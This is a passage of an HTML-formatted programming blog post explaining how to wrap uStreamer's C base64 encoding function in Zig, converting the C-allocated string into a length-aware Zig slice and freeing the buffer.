&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>allocatedSize:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">usize&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(data.ptr,&lt;span style="color:#666"> &lt;/span>data.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncodedOptional,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>cEncodedOptional&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">orelse&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.UnexpectedNull;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Get the output as a non-optional type.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>output:&lt;span style="color:#666"> &lt;/span>[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>cEncoded&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">orelse&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.UnexpectedNull;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Free the C-allocated memory buffer before exiting the function.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>std.c.&lt;span style="color:#447fcf">free&lt;/span>(cEncoded);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// TODO: Copy the contents of cEncoded into a [:0]u8 buffer.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="converting-a-c-string-to-a-zig-string">Converting a C string to a Zig string&lt;/h3>
&lt;p>At this point, I&amp;rsquo;ve got the string as a &lt;code>[*:0]u8&lt;/code> (unknown length, zero-terminated Zig slice), but I want to return &lt;code>[:0]u8&lt;/code> (length-aware, null-terminated Zig slice). How do I convert a C-style string to a Zig slice?&lt;/p>
&lt;p>In &lt;a href="https://mtlynch.io/notes/zig-strings-call-c-code/#improving-the-wrapper-with-zig-managed-buffers">my previous post&lt;/a>, I converted a C string to a Zig string with this process:&lt;/p>
&lt;ol>
&lt;li>Create a Zig slice of the C string using &lt;a href="https://ziglang.org/documentation/0.11.0/std/#A;std:mem.span">&lt;code>std.mem.span&lt;/code>&lt;/a>.&lt;/li>
&lt;li>Use &lt;a href="https://ziglang.org/documentation/0.11.0/std/#A;std:mem.Allocator.dupeZ">&lt;code>allocator.dupeZ&lt;/code>&lt;/a> to copy the contents of the slice into a newly allocated Zig slice.&lt;/li>
&lt;/ol>
&lt;p>That process would work here, but I&amp;rsquo;d be doing a useless work in step (1). &lt;code>std.mem.span&lt;/code> has to iterate the string to find the null terminator. In this code, I already know where the null terminator is because &lt;code>us_base64_encode&lt;/code> stores that information in the &lt;code>allocatedSize&lt;/code> parameter.&lt;/p>
&lt;p>Instead, I create a length-aware Zig slice of the &lt;code>cEncoded&lt;/code> slice like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// The allocatedSize includes the null terminator, so subtract 1 to get the
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// number of non-null characters in the string.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncodedLength&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>allocatedSize&lt;span style="color:#666"> &lt;/span>-&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">1&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#999;font-style:italic">// Convert cEncoded (unknown length slice) to a length-aware slice.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>outputLengthAware:&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>cEncoded[&lt;span style="color:#3677a9">0&lt;/span>..cEncodedLength&lt;span style="color:#666"> &lt;/span>:&lt;span style="color:#3677a9">0&lt;/span>];&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, I can complete the implementation of my wrapper function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">base64Encode&lt;/span>(allocator:&lt;span style="color:#666"> &lt;/span>std.mem.Allocator,&lt;span style="color:#666"> &lt;/span>data:&lt;span style="color:#666"> &lt;/span>[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>![:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>[*c]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>allocatedSize:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">usize&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(data.ptr,&lt;span style="color:#666"> &lt;/span>data.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncoded,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Get the output as a non-optional type.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>output:&lt;span style="color:#666"> &lt;/span>[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>cEncoded&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">orelse&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.UnexpectedNull;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Free the C-allocated memory buffer before exiting the function.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>std.c.&lt;span style="color:#447fcf">free&lt;/span>(cEncoded);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// The allocatedSize includes the null terminator, so subtract 1 to get the
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// number of non-null characters in the string.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncodedLength&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>allocatedSize&lt;span style="color:#666"> &lt;/span>-&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">1&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator.&lt;span style="color:#447fcf">dupeZ&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666"> &lt;/span>cEncoded[&lt;span style="color:#3677a9">0&lt;/span>..cEncodedLength&lt;span style="color:#666"> &lt;/span>:&lt;span style="color:#3677a9">0&lt;/span>]);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To call &lt;code>dupeZ&lt;/code>, I need a Zig allocator, so I adjusted the semantics of my &lt;code>base64Encode&lt;/code> wrapper to accept a &lt;code>std.mem.Allocator&lt;/code> type.&lt;/p>
&lt;h3 id="tying-it-all-together">Tying it all together&lt;/h3>
&lt;p>With my Zig wrapper in place, it&amp;rsquo;s now trivial to exercise the C &lt;code>us_base64_encode&lt;/code> function from Zig.&lt;/p>
&lt;p>Recall that my previous code looked like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>input&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>?[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>allocatedSize:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">usize&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(input.ptr,&lt;span style="color:#666"> &lt;/span>input.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncoded,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>output:&lt;span style="color:#666"> &lt;/span>[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>cEncoded&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">orelse&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.UnexpectedNull;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>std.c.&lt;span style="color:#447fcf">free&lt;/span>(cEncoded);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With my Zig wrapper, the semantics simplify to two lines:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>output&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">base64Encode&lt;/span>(allocator,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator.&lt;span style="color:#447fcf">free&lt;/span>(output);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here&amp;rsquo;s the full example:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>std&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@import&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;std&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#999;font-style:italic">// Import the base64 implementation from uStreamer&amp;#39;s C source file.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>ustreamer&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cImport&lt;/span>({&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cInclude&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;libs/base64.c&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">base64Encode&lt;/span>(allocator:&lt;span style="color:#666"> &lt;/span>std.mem.Allocator,&lt;span style="color:#666"> &lt;/span>data:&lt;span style="color:#666"> &lt;/span>[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>![:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncodedOptional:&lt;span style="color:#666"> &lt;/span>?[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>allocatedSize:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">usize&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(data.ptr,&lt;span style="color:#666"> &lt;/span>data.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncodedOptional,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>cEncodedOptional&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">orelse&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.UnexpectedNull;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>std.c.&lt;span style="color:#447fcf">free&lt;/span>(cEncodedOptional);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncodedLength&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>allocatedSize&lt;span style="color:#666"> &lt;/span>-&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">1&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator.&lt;span style="color:#447fcf">dupeZ&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666"> &lt;/span>cEncoded[&lt;span style="color:#3677a9">0&lt;/span>..cEncodedLength&lt;span style="color:#666"> &lt;/span>:&lt;span style="color:#3677a9">0&lt;/span>]);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>gpa&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.heap.&lt;span style="color:#447fcf">GeneralPurposeAllocator&lt;/span>(.{}){};&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>gpa.&lt;span style="color:#447fcf">allocator&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>gpa.&lt;span style="color:#447fcf">deinit&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>input&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>output&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">base64Encode&lt;/span>(allocator,&lt;span style="color:#666"> &lt;/span>input);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator.&lt;span style="color:#447fcf">free&lt;/span>(output);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Print the input and output of the base64 encode operation.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;input: {s}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{input});&lt;span style="color:#666">
